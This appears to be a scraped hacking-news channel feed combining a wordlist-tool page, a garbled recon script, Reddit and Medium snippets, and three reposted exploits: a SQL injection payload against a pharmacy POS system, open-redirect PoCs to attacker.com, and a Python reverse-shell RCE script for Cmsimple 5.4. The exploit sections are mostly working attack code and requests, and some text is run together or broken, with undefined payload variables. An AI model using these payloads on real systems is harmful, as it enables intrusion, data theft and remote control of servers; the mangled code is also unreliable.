Kali Linux Tutorials
Haklistgen : Turns Any Junk Text Into A Usable Wordlist For Brute-Forcing

Haklistgen turns any junk text into a usable wordlist for brute-forcing.

Installation

go install github.com/hakluke/haklistgen@latest

Usage Examples

Scrape all words out of an HTTP response to build a directory bruteforce wordlist:

curl https://wikipedia.org | haklistgen

Pipe a list of subdomains to it to generate a wordlist for bruteforcing more subdomains:

subfinder -silent -d example.com | haklistgen

Piping in a custom JavaScript file could yield some interesting results:

curl https://example.com/app.js | haklistgen

You could create a great custom wordlist for a large-scope target doing something like this:

subfinder -silent -d hakluke.com | anew subdomains.txt | httpx -silent | anew urls.txt | hakrawler | anew endpoints.txt | while read url; do curl $url –insecure | haklistgen | anew wordlist.txt; done
cat subdomains.txt urls.txt endpoints.txt | haklistgen | anew wordlist.txt;

This would save subdomains to subdomains.txt, then save httpx output to urls.txt, then crawl each url and save the hakrawler output to endpoints.txt, then fetch every URL in endpoints.txtand make a wordlist out of it, concatenating all of the wordlists to wordlist.txt. Then it takes all of the subdomains and urls, and adds words out of the words in those too.
Download

___________________________
@hacking_Attack
@Hacking_Video

arget/reconky/assetfinder/subdomains1.txtcat $target/reconky/assetfinder/subdomains1.txt | grep $1 >> $target/reconky/Subdomain_final.txtechosublist3r -d $target -v -t 100 -o $target/reconky/sublist3r/subdomains.txtcat $target/reconky/sublist3r/subdomains.txt | grep $1 >> $target/reconky/Subdomain_final.txtechoamass enum -d $target -o $target/reconky/amass/subdomains2.txtcat $target/reconky/amass/subdomains2.txt | grep $1 >> $target/reconky/Subdomain_final.txtechoknockpy $target >> $target/reconky/knockpy/subdomains3.txtawk ‘/$target/ {print}’ $target/reconky/knockpy/subdomains3.txt | cut -d ” ” -f 9 >> $target/reconky/Subdomain_final.txtechocat $target/reconky/Subdomain_final.txt | sort -u | httprobe | sed -E ‘s/^\s*.*:\/\///g’ >> $target/reconky/httprobe/alivee.txtechoif [ ! -f “$target/reconky/Subdomain_Takeover/Subdomain_Takeover.txt” ];thentouch $target/reconky/Subdomain_Takeover/Subdomain_Takeover.txtfisubjack -w $target/reconky/Subdomain_final.txt -t 70 -timeout 25 -ssl -c /root/go/src/github.com/haccer/subjack/fingerprints.json -v 3 -o $target/reconky/Subdomain_Takeover/Subdomain_Takeover.txtechonmap -iL $target/reconky/httprobe/alivee.txt -T4 -oA $target/reconky/scans/scanned.txtechoif [ ! -f “$target/reconky/wayback_urls/wayback_output.txt” ];thentouch $target/reconky/wayback_urls/wayback_output.txtficat $target/reconky/Subdomain_final.txt | waybackurls >> $target/reconky/wayback_urls/wayback_output.txtsort -u $target/reconky/wayback_urls/wayback_output.txtcat $target/reconky/wayback_urls/wayback_output.txt | grep ‘?*=’ | cut -d ‘=’ -f 1 | sort -u >> $target/reconky/wayback_urls/params/params.txtfor i in $(cat $target/reconky/wayback_urls/params/params.txt);do echo $i’=’;doneechofor i in $(cat $target/reconky/wayback_urls/wayback_output.txt);doext=”${i##*.}”if [[ “ext”==”php” ]];thenecho $i >> $target/reconky/wayback_urls/extensions/php1.txtsort -u $target/reconky/wayback_urls/extensions/php1.txt >> $target/reconky/wayback_urls/extensions/php.txtrm $target/reconky/wayback_urls/extensions/php1.txtfiif [[ “ext”==”js” ]];thenecho $i >> $target/reconky/wayback_urls/extensions/js1.txtsort -u $target/reconky/wayback_urls/extensions/js1.txt >> $target/reconky/wayback_urls/extensions/js.txtrm $target/reconky/wayback_urls/extensions/js1.txtfiif [[ “ext”==”html” ]];thenecho $i >> $target/reconky/wayback_urls/extensions/html1.txtsort -u $target/reconky/wayback_urls/extensions/html1.txt >> $target/reconky/wayback_urls/extensions/html.txtrm $target/reconky/wayback_urls/extensions/html1.txtfiif [[ “ext”==”json” ]];thenecho $i >> $target/reconky/wayback_urls/extensions/json1.txtsort -u $target/reconky/wayback_urls/extensions/json1.txt >> $target/reconky/wayback_urls/extensions/json.txtrm $target/reconky/wayback_urls/extensions/json1.txtfiif [[ “ext”==”aspx” ]];thenecho $i >> $target/reconky/wayback_urls/extensions/aspx1.txtsort -u $target/reconky/wayback_urls/extensions/aspx1.txt >> $target/reconky/wayback_urls/extensions/aspx.txtrm $target/reconky/wayback_urls/extensions/aspx1.txtfidoneeyewitness -f $target/reconky/httprobe/alivee.txt –web -d $target/
reconky/eyewitness –resolve
DEMO
https://1.bp.blogspot.com/-qfoKp9aFc2A/YU3EYQda_ZI/AAAAAAAAK8o/ux-Y5PYJAIEfNGY6NY9NhbN1iPGUdE1twCLcBGAsYHQ/s1056/Recon.gif Download

___________________________
@hacking_Attack
@Hacking_Video

Is there a comprehensive wordlist for the MD5 hash?
https://www.reddit.com/r/Pentesting/comments/pypmi7/is_there_a_comprehensive_wordlist_for_the_md5_hash/

Hello, I have 5 MD5 hashes. 7ccf202cfc65d0d1fc84ed2a730bd4f7
114c5ae96195a14b0e41359cb019cf53
654a2f6ad82df19903384b4ccffbf4a8
14ce2ef347b7e0c9838aea58705b7ddd
1ef9ccb08e1fbcba6863644ffade7bca I want to crack this hash using hascat but I don't have enough word list. Can you provide a list of words to crack the hash value? submitted by /u/Kayasoft (https://www.reddit.com/user/Kayasoft)
[link] (https://www.reddit.com/r/Pentesting/comments/pypmi7/is_there_a_comprehensive_wordlist_for_the_md5_hash/) [comments] (https://www.reddit.com/r/Pentesting/comments/pypmi7/is_there_a_comprehensive_wordlist_for_the_md5_hash/)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
need my money back

my ex own me 70 euros but refuses to give them to me how can I get them please I have to buy my medications

submitted by /u/disisbeyondscience
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Si tienes un teléfono hecho en China, tal vez te interese leer esto. ¿Censura y espionaje?

https://cdn-images-1.medium.com/max/600/0*z0TU5ac01qmDrX4N.jpg
¿Recordáis el micrófono que unos hackers encontraron en el robot de cocina de Lidl en 2019? ¿Qué hacía ahí?

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
DownUnderCTF 2021 — Get over it!

https://cdn-images-1.medium.com/max/600/1*tG75IgipWVXORxbNvrsuEw.png
This challenge is an OSINT challenge.

Continue reading on InfoSec Write-ups »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
What is Ethical Hacking ?

https://cdn-images-1.medium.com/max/1000/1*Cv_eY88R6MLdRSGjxkQLyQ.jpeg
Ethical hacking also called as penetration testing .It is an act of intruding into network or the systems to find out the threats in those…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Is Google A Hacking Database(7 Free Tips)?

https://cdn-images-1.medium.com/max/640/0*3Z3lXVVn6atM-8-O.png
Google has become our daily essential need. We need it to reach StackOverflow’s code, to find what happens when we type our name(we all do…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Pharmacy Point Of Sale System 1.0 SQL Injection

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
Pharmacy Point of Sale System version 1.0 suffers from multiple remote SQL injection vulnerabilities. Original discovery of SQL injection in this version is attributed to Janik Wehrli in September of 2021.

MD5 | 67cb3f0f5642965281dd9c95b04997cc

Download
# Exploit Title: Pharmacy Point of Sale System 1.0 - 'Multiple' SQL Injection (SQLi)
# Date: 28.09.2021
# Exploit Author: Murat
# Vendor Homepage: https://www.sourcecodester.com/php/14957/pharmacy-point-sale-system-using-php-and-sqlite-free-source-code.html
# Software Link: https://www.sourcecodester.com/sites/default/files/download/oretnom23/pharmacy.zip
# Version: 1.0
# Tested on: Windows 10

# Pharmacy Point of Sale System v1.0 SQLi
GET /pharmacy/view_product.php?id=-1 HTTP/1.1
Host: localhost
Cookie: PHPSESSID=5smfl8sfgemi1h9kdl2h3dsnd6
Sec-Ch-Ua: "Chromium";v="93", " Not;A Brand";v="99"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: none
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Connection: close
POC:
https://localhost/pharmacy/view_product.php?id=2000110022%27+union+select+1%2c1%2c1%2c1%2c%28select%27SqLi%27%7c%7csubstr%28%28select+sqlite%5fversion%28%29%7c%7c%27%04%27%7c%7c%27sqlite%5fmaster%27%7c%7c%27%04%27%7c%7c%27anonymous%27%7c%7c%27%01%03%03%07%27%29%2c1%2c65536%29%29%2c1%2c1%2c1--

-----------------------------------------------------------------------

#Other parameters with sql injection vulnerability;
==> /pharmacy/?date_from=&date_to=1'"&page=sales_report

==> /pharmacy/?date_from=1'"&date_to=&page=sales_report

==> /pharmacy/manage_stock.php?expiry_date=01/01/1967&id=-1'&product_id=1&quantity=1&supplier_id=1

==> GET /pharmacy/view_receipt.php?id=1'"&view_only=true

==> /pharmacy/manage_product.php?id=-1'

==> POST /pharmacy/Actions.php?a=save_stock

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="id"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="supplier_id"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="product_id"

2'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="quantity"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="expiry_date"
==> POST /pharmacy/Actions.php?a=save_product HTTP/1.1

------------YWJkMTQzNDcw
Content-Disposition: form-data; name="id"

5'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="product_code"

94102'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="category_id"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="name"

pHqghUme'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="price"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="description"

1'"
------------YWJkMTQzNDcw
Content-Disposition: form-data; name="status"

0'"
------------YWJkMTQzNDcw--
-

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PlaceOS 1.2109.1 Open Redirection

https://2.bp.blogspot.com/-x_QP5QrO-tY/WWlvkxoh72I/AAAAAAAAIQ4/t-2dHNJyeE0-qZNxsCg7sgdho_ipgPgbgCLcBGAs/s1600/h98.png
PlaceOS version 1.2109.1 suffers from an open redirection vulnerability.

MD5 | 6f70e87acde8d9e251e8e05831b475b8

Download
# Exploit Title: PlaceOS 1.2109.1 - Open Redirection
# Date: 29-09-2021
# Exploit Author: Hamza Khedr @ Accenture Austalia AARO Team
# Vendor Homepage: https://place.technology/
# Software Link: https://github.com/PlaceOS
# Version: < 1.29.10
# Tested on: Ubuntu 20.04
# CVE: CVE-2021-41826
#
#
# PoC: "https://office.example.com/auth/logout?continue=//attacker.com"
# "https://office.example.com/auth/logout?continue=.attacker.com"
# "https://office.example.com/auth/logout?continue=:password@attacker.com"
#
#
# Reference: https://github.com/PlaceOS/auth/issues/36
# https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41826
# https://nvd.nist.gov/vuln/detail/CVE-2021-41826

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Cmsimple 5.4 Remote Code Execution

https://1.bp.blogspot.com/-q1b99IBpI9c/WWlu5sPD0hI/AAAAAAAAIJI/No13BTu40mUIIhRH8r1ULckiDMJCd7zkQCLcBGAs/s1600/h106.png
Cmsimple version 5.4 authenticated remote code execution exploit.

MD5 | 46792c26a9315734cd7d64fb53dadde5

Download
# Exploit Title: Cmsimple 5.4 - Remote Code Execution (RCE) (Authenticated)
# Date: 29.09.2021
# Exploit Author: pussycat0x
# Vendor Homepage: https://www.cmsimple.org/
# Version: 5.4
# Tested on: ubuntu-20.04.1

import argparse
from bs4 import BeautifulSoup
from argparse import ArgumentParser
import requests
parser= ArgumentParser(description="cmsimple ", epilog='cmsimpleRCE.py -url targetdomai.com -u username -p password -ip lhost -lp lport')
rparser = parser.add_argument_group('required argument')
rparser.add_argument('-url','--host', type=str, help='target domain',required=True)
rparser.add_argument('-u' ,'--username', type=str, help='', required=True)
rparser.add_argument('-p','--password',type=str,help='', required=True)
rparser.add_argument('-ip','--lhost',type=str,help='listener ip', required=True)
rparser.add_argument('-lp','--lport', type=str,help='listener port', required=True)
args= parser.parse_args()
#url ='192.168.1.106'
s = requests.Session()

def main():
try:

url =(args.host)
payload = {
'user':args.username,
'passwd':args.password,
'submit': 'Login',
'login':'true',
}
login=s.post(url +'/?Welcome_to_CMSimple_5',data=payload)
if login.status_code == 200:
print('Exploit Completed')
else:
print("Invalid Credential")
cook =(login.cookies.get_dict())
temp = s.get(url +'/?file=template&action=edit', cookies=cook)
soup = BeautifulSoup(temp.text, 'lxml')
csrfToken = soup.find('input',attrs = {'name':'csrf_token'})['value']
#&1'");
rev = """&1'");"""
php =(rev+rev2+'/'+rev3+rev4)
revpayload = {
'cmsimpleDataFileStored':'cmsimpleDataFileStored',
'csrf_token':csrfToken,
'text':php,
'file':'template',
'action':'save',
}
shell = s.post(url +'/',cookies=cook , data=revpayload)
exec = s.get(url+'/')
exit()
except:
pass
main()


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video